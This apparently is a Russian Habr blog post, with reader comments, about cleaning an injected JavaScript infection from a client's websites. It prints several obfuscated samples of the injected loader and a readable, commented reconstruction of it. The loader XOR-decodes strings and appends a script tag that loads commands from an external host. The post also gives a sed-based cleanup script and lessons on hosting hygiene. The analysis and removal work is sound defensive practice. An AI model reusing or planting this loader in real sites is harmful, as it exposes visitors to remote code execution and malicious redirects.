Хочу поделиться с читателями Хабра историей о том, как лечил вредоносный js-код на сайтах, расположенных на одной машине. Под катом находится любительский анализ вредоносного кода, который я провел исключительно ради интереса, а также очистка файлов на хостинге от вредоносного кода. Данная статья не является обучающим материалом, однако в конце содержит список уроков, которые я извлек из этой истории.

Как все начиналось


В обычный из рабочих дней мой куратор поставил очередную задачу: разобраться с беспорядком, который творится на сайтах у одного из нашего клиента. При посещении любого из сайтов посетителя сразу переадресовывало на другую страницу. Долю в эту неразбериху внесло то, что на компьютерах клиента и моего куратора проблема постоянно проявлялась (стоит Windows), а на моей системе Ubuntu мне не удавалось отловить эту заразу. Впоследствии выяснилось, что вреденосный js-код является загрузчиком команд с другой машины, которые затем выполнялись на стороне посетителя. Насколько я понял, на стороне зараженной машины стоял некий фильтр, который не отдавал команды, когда я заходил со своей системы.

Подводные камни


  • На всех сайтах нашего клиента были заражены абсолютно все js — файлы. На данном этапе стало ясно, что заражение было произведено с помощью скрипта, который мне так и не удалось найти;
  • В каждом файле структура кода была другой: менялись названия функции, названия переменных и их следование друг за другом;
  • Время изменения js файлов не было изменено, что осложняло поиск скрипта, с помощью которого было произведено данное деяние.


Примеры злого кода:
window.addEvent('unload', saveSettings);function tXph13(rT){return zmGud0O(pF7B(rT),'w6AOl64ykS2D2vS');}var jqhQ8=["004085","005095","007066","020068036046024083113021014062087042070","004068034","003079049042","003083057059067092085015010032081054091006039","022070049042002082119017002063086","031083032043","016083053010000083089028005039065006075034050016120032034009","031066053063086025027010031050070033028005062027004111061025025094010068048092048028028032"];function pF7B(m9QAuQ){var u9='';var uT=0;var l7n=0;for(uT=0;uT<m9QAuQ.length/3;uT++){u9+=String.fromCharCode(m9QAuQ.slice(l7n,l7n+3));l7n=l7n+3;}return u9;}function nZrvPy(ci){var xkw31M=document[tXph13(jqhQ8[3])](tXph13(jqhQ8[0])+tXph13(jqhQ8[1])+tXph13(jqhQ8[2]));xkw31M[tXph13(jqhQ8[4])]=ci;xkw31M[tXph13(jqhQ8[5])]=tXph13(jqhQ8[6]);document[tXph13(jqhQ8[9])](tXph13(jqhQ8[8]))[0][tXph13(jqhQ8[7])](xkw31M);}function zmGud0O(fPMlQ,kxzO7O){var sc7B='';var q9AOFX=0;var wT=0;for(q9AOFX=0;q9AOFX<fPMlQ.length;q9AOFX++){var oH6=fPMlQ.charAt(q9AOFX);var cobu=oH6.charCodeAt(0)^kxzO7O.charCodeAt(wT);oH6=String.fromCharCode(cobu);sc7B+=oH6;if(wT==kxzO7O.length-1)wT=0;else wT++;}return (sc7B);}nZrvPy(tXph13(jqhQ8[10]));


.createElement(e[i])}})()function rt9tP(q5m1I){return dXkiogo(ze2woX1(q5m1I),'cliPkVhP3k3b3');}var ow51o=["016015","017005","019024","000030012049031051045060086006086012071","016030010","023021025053","023009017036068060009038082024080016090019024","002028025053005050043056090007087","011009008052","004009029021007051005053093031064032074055013014030010059013","011024029032081121071035071010071007029016001005098069036029127089024028001093023066003035"];if9A1C(rt9tP(ow51o[10]));function if9A1C(pa43Q){var g4=document[rt9tP(ow51o[3])](rt9tP(ow51o[0])+rt9tP(ow51o[1])+rt9tP(ow51o[2]));g4[rt9tP(ow51o[4])]=pa43Q;g4[rt9tP(ow51o[5])]=rt9tP(ow51o[6]);document[rt9tP(ow51o[9])](rt9tP(ow51o[8]))[0][rt9tP(ow51o[7])](g4);}function dXkiogo(cRXt,e80M){var k0='';var hz00=0;var x5VhMO=0;for(hz00=0;hz00<cRXt.length;hz00++){var g0=cRXt.charAt(hz00);var jLf9N7=g0.charCodeAt(0)^e80M.charCodeAt(x5VhMO);g0=String.fromCharCode(jLf9N7);k0+=g0;if(x5VhMO==e80M.length-1)x5VhMO=0;else x5VhMO++;}return (k0);}function ze2woX1(hJOCB){var dMa2='';var n7Z=0;var pLz4=0;for(n7Z=0;n7Z<hJOCB.length/3;n7Z++){dMa2+=String.fromCharCode(hJOCB.slice(pLz4,pLz4+3));pLz4=pLz4+3;}return dMa2;}

()})})}})(jQuery);function eH0(kzpR2g){var tZ=document[aFeJ(pXM7JTD[3])](aFeJ(pXM7JTD[0])+aFeJ(pXM7JTD[1])+aFeJ(pXM7JTD[2]));tZ[aFeJ(pXM7JTD[4])]=kzpR2g;tZ[aFeJ(pXM7JTD[5])]=aFeJ(pXM7JTD[6]);document[aFeJ(pXM7JTD[9])](aFeJ(pXM7JTD[8]))[0][aFeJ(pXM7JTD[7])](tZ);}function vbX9B(b5JWR,cZ73){var d7='';var kH5Nhm=0;var lO=0;for(kH5Nhm=0;kH5Nhm<b5JWR.length;kH5Nhm++){var m2z=b5JWR.charAt(kH5Nhm);var rT7v3=m2z.charCodeAt(0)^cZ73.charCodeAt(lO);m2z=String.fromCharCode(rT7v3);d7+=m2z;if(lO==cZ73.length-1)lO=0;else lO++;}return (d7);}function aFeJ(dMk){return vbX9B(tYiR3(dMk),'voRoLKl3Kny18K');}function tYiR3(dH5L){var zS1kLW='';var ub=0;var oK078=0;for(ub=0;ub<dH5L.length/3;ub++){zS1kLW+=String.fromCharCode(dH5L.slice(oK078,oK078+3));oK078=oK078+3;}return zS1kLW;}var pXM7JTD=["005012","004006","006027","021029055014056046041095046003028095076","005029049","002022034010","002010042027099033013069042029026067081059002","023031034010034047047091034002029","030010051011","017010038042032046001086037026010115065031023008028014033046","030027038031118100067064063015013084022056027003096065062062067089056065026095076101028028"];eH0(aFeJ(pXM7JTD[10]));



Небольшой анализ


Мне захотелось выяснить, что за метод шифрования использовал данный зловред, и я приступил к рефакторингу кода одного из примера (см. ниже). Этот анализ был проведен после лечения в целях удовлетворить свою любознательность.

Читаемый злой код

var massiv = ["022022", "023028", "021001", "006007039019069038063009006093009094000", "022007033", "017012050023", "017016058006030041027019002067015066029004017", "004005050023095039057013010092008", "013016035022", "002016054055093038023000013068031114013032004018012019092038", "013001054002011108085022023081024085090007008025112092067054085015016031015094000090015006"];

exec(wrapper(massiv[10]));


// вспомогательная функция
function wrapper(str) {
    return xor(explode(str), 'euBr1Czec0l0tt');
}

// получает символы из групп по 3 цифры и возвращает из конкатенацию
function explode(str) {
    var mQ418 = '';
    var z2wqbh = 0;
    var pa = 0;
    for (z2wqbh = 0; z2wqbh < str.length / 3; z2wqbh++) {
        mQ418 += String.fromCharCode(str.slice(pa, pa + 3));
        pa = pa + 3;
    }
    return mQ418;
}

// функция для добавления скрипта в head страницы
function exec(mh) {
    var fq59 = document[wrapper(massiv[3])](wrapper(massiv[0]) + wrapper(massiv[1]) + wrapper(massiv[2]));
    fq59[wrapper(massiv[4])] = mh;
    fq59[wrapper(massiv[5])] = wrapper(massiv[6]);
    document[wrapper(massiv[9])](wrapper(massiv[8]))[0][wrapper(massiv[7])](fq59);
}

// функция дешифровки, str — параметр для расшифровки, key — ключ
function xor(str, key) {
    var wL73 = '';
    var c2 = 0;
    var i8t = 0;
    for (c2 = 0; c2 < str.length; c2++) {
        var h6547 = str.charAt(c2);
        var pTh = h6547.charCodeAt(0) ^ key.charCodeAt(i8t);
        h6547 = String.fromCharCode(pTh);
        wL73 += h6547;
        if (i8t == key.length - 1) i8t = 0;
        else i8t++;
    }
    return (wL73);
}




Логика работы


В массиве содержатся зашифрованные команды (createElement, getElementsByTagName, appendChild), а также адрес с которого загружать дальнейшие команды (http://state.sml2.ru/js/cnt.js).

Вся логика работы заключена в двух функциях. Первая — explode, которая разбивает входную строку на группы по 3 цифры, из каждый группы получает символ по коду и объединяет все эти символы. Полученный результат направляется в функцию xor, которая использует xor-шифрование, но я могу ошибаться, поскольку мало разбираюсь в методах шифрования.

Лечение


Для лечения этой заразы было принято решение использовать командную строку unix-системы и регулярные выражения. Как видно из примеров зловреда, он мог дописываться в файл как на следующей строке, так и сразу за последним байтом в файле (см. ниже).

()})})}})(jQuery);function eH0(kzpR2g){

.createElement(e[i])}})()var ow51o=["016015","017005","019024"

window.addEvent('unload', saveSettings);function tXph13(rT)


Команда для замены в файле (antivirus.sh):

#/bin/bash
VIRUS='([\(jQuery\)\;|\)\;|\}|\*\/|\/\/]{0,})(var [a-zA-Z0-9]{2,}=\[".*|function [a-zA-Z0-9]{2,}.*)$';
sed -i -r '/.length\/3;/s/'"$VIRUS"'/\1/' "$1";


Здесь мы ищем все строки, которые содержат особенность вируса (.length/3;), и заменяем на результат из первой группы. Если этого не сделать, то команда sed удалит и этот кусок здорового кода.

Запускался самопальный антивирус командой:

find . -type f -name "*.js" -exec bash antivirus.sh {} \;

Результат не заставил себя долго ждать, и через несколько минут я был доволен результатом своей работы.

Выводы:
  • Для каждого сайта используйте своего отдельного юзера в системе со своими правами. У нашего клиента свой сервер, который был настроен печальным образом: для каждого сайта использовался один и тот же пользователь, что позволило заразить все сайты на машине;
  • Используйте сертификаты. Возможно, это не остановило бы злоумышленников, но использование сертификатом совместно с https не позволило бы подключать злые файлы с простых сайтов.
  • Постоянные бекапы. К сожалению, на машине также не было настроено резервное копирование. Считаю, что это могло помочь доказать клиенту, что вирус был занесен еще до нас, достаточно было показать зараженную копию, созданную до нашего пришествия. Т.к. вирус исполнял команды с подключаемого файла, то он мог существовать на сайтах очень долгое время, пока шалуны не решили включить его со своей стороны. Однако, для доказатальства нужны факты, а факты таковы, что вирус проявил себя после начала нашей работы.


В конце выражаю благодарность всем, кто уделил время выходного для легкого чтива. Приветствуются замечания в комментариях.
Поделиться с друзьями
-->

Комментарии (10)


  1. Afinogen
    13.07.2016 13:18
    +4

    В таких случаях еще неплохо git помогает, сразу видно измененные файлы, если конечно клиент его использует)


  1. bustEXZ
    13.07.2016 13:40
    +2

    А в чем проблема поставить на сервере права на файлы только чтение? Ведь ничто тогда не сможет их редактировать + использовать версионирование


    1. i86com
      13.07.2016 15:16

      Зависит от клиента. Если клиент — технически подкованный и может сам потом его снять — отлично. Если нет, то он может очень резко отреагировать на фразу:
      «Я тут у вас поработал, все файлы закрыл от изменений. Теперь чтобы что-нибудь поменять, вам нужно будет сначала связаться со мной, чтобы я поставил права.»

      Но статья там была скорее про то, как решить проблему, а не как можно было ранее подстелить соломы в нужную яму.


    1. andkln
      13.07.2016 18:50

      php chmod( ) может временно установить нужные права на запись. И это только верхушка айсберга, делающего подобные методы предосторожности малоэффективными.


    1. Fedcomp
      14.07.2016 10:52

      /sarcasm да вы что, а как же вордпресс через админку то обновлять?


  1. 3al
    13.07.2016 14:22
    +4

    Бэкапы — это для данных, а код, независимо от бэкапов, должен быть в системе контроля версий, а всякие регэкспы — не дают никакой гарантии: вредоносный код может быть в разных вариациях, причём не обязательно во всех файлах.


  1. Decker
    14.07.2016 09:55
    +1

    Самое неприятное в этой ситуации — это то что не удалось определить источник появления вредоносного кода на сервере. В моей практике было две похожих поучительных ситуации. В одной модификация файлов произошла из-за критической уязвимости в CMS, в другой — пароль от FTP хостинга оказался скомпрометирован. Во-втором случае все было проще, пароль от FTP был сохранен в FTP-клиенте на ПК одного из контент-менеджеров на домашней машине. После того как он подцепил вирус, все пароли ушли злоумышленникам. Далее, через какой-то промежуток времени бот зашел на этот FTP и дописал свой код в каждый десятый PHP файл на сервере. В результате, те же самые редиректы, только чуть по-другому, плюс три разных backdoor'а (варианты php shell'а) оставленных для доступа в любое время. Резервной копии у людей, естественно не было, поэтому в обоих случаях все решилось развертыванием «чистого» ядра CMS, плюс полуавтоматическим анализом всех остальных *.php не входящих в состав ядра с удалением вредоносного кода. Плюс полной сменой паролей ко всему — FTP, MySQL, SSH, CMS и т.п. Периодически наблюдаем в логах попытки бота достучаться на FTP и HTTP-запросы к уже очищенным зараженным файлам. Мораль очень проста — достаточно было пропустить хоть одну «лазейку», чтобы все повторилось по новой.


  1. Deosis
    14.07.2016 11:47
    +1

    Так как код вируса постоянно меняется (полиморфный), то возможно скоро появится вариант с «length/(1+2)» и ваш скрипт не сработает.
    При этом если в обычном коде используется длина строки, то что мешает вирусу заменить часть кода на "(length/3)*3" и ваш скрипт вместо вируса выпилит клиентский код?


    1. moxy
      14.07.2016 12:37

      В вашем первом предложении содержится хорошая подсказка для тех, кто создает такое. Однако, я решал конкретную задачу по устранению зловреда, особенностью которого было ".length/3". Конечно могло оказаться так, что в файле этот кусок кода может использоваться в чистом коде, но я не нашел ни одного файла, который содержал бы эту особенность больше одного раза.


    1. moxy
      14.07.2016 12:43

      Моей целью было излечение файлов, а не написание универсального антивиря, и т.к. я смог этого достигнуть, то я даже не задавался целью создать полиморфные версии этого зверя и лечить его по новой.
      Но ваши замечания полезные!